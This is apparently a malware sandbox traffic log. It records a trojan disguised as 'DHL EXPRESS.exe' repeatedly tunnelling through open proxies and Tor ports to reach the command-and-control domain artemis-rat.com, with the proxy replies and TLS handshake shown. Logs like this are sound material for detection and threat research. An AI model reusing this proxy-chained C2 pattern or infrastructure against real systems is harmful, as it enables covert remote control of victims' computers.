20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.8	52079	104.27.8.161	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.743189096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.897717953 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.8	51868	8.213.128.90	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.745002031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.456490993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.466449022 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:52.469400883 CET	44	IN	HTTP/1.1 200 OK Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.8	51157	103.190.54.141	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.748807907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.587287903 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.8	51691	154.118.228.212	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.748984098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.8	51900	8.213.128.90	4506	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.749342918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.409589052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.466308117 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:52.466764927 CET	44	IN	HTTP/1.1 200 OK Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.8	51991	72.210.252.137	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.749789000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.8	52066	146.19.106.194	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.751282930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.8	51877	31.43.158.108	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.755759954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.8	51879	27.0.234.206	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.758632898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.8	51878	91.148.127.162	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.759002924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.8	51882	5.252.23.220	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.761771917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.8	52094	162.241.46.6	46097	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.762811899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.268929005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.8	51874	119.91.214.119	3389	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.763022900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.8	51870	103.199.18.248	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.764225006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.152262926 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.8	51975	217.23.11.194	32708	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.770679951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.068640947 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.8	51984	93.190.142.57	41890	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.778817892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.073667049 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.8	51958	18.228.198.164	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.787544012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.114552021 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:48.200238943 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2f 85 42 ed 9c 76 8b 41 a0 b2 a5 14 5e 43 b4 cd e0 6b 48 fb aa fa cd 98 46 42 4c cb 4b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA/BvA^CkHFBLK*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:48.527982950 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 c5 01 c5 2e 7d e4 a4 a1 e8 aa f9 9e 2c 5e 65 a6 dd 3e b9 fe be ec a3 22 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9.},^e>"DOWNGRD0000H010Uartemis-rat.com0240311163844Z260311163844Z010Uartemis-rat.com0"0H08f2pf
Mar 11, 2024 18:36:48.531663895 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 02 e1 d4 4e f5 f2 eb 17 54 57 d5 8c b0 6e ad 50 73 19 44 77 bb 52 26 e4 1f 0c e4 a3 ab 66 97 77 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 cc 96 aa ff 22 9f f3 c4 e6 23 84 6b d6 50 22 91 9e a4 1f db c8 Data Ascii: %! NTWnPsDwR&fw("#kP"1ko</
Mar 11, 2024 18:36:48.857333899 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 70 7d 83 80 ad eb 6b 4f 11 44 aa 4b 47 11 2f f5 3e e4 d7 f2 99 cd 67 4a a4 72 29 8f 82 b7 dd 48 d4 73 f2 f6 4f bf 24 35 Data Ascii: (p}kODKG/>gJr)HsO$5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.8	52100	159.65.77.168	8585	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.788111925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.8	51944	31.43.63.70	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.797977924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.8	51939	143.64.8.21	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.800118923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.8	52005	136.244.99.51	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.800664902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.541049957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.519948959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.409730911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.206621885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.909753084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.693347931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.8	52000	185.103.101.39	10051	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.802999973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.167393923 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.8	52019	144.76.96.180	5566	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.809688091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.117980957 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

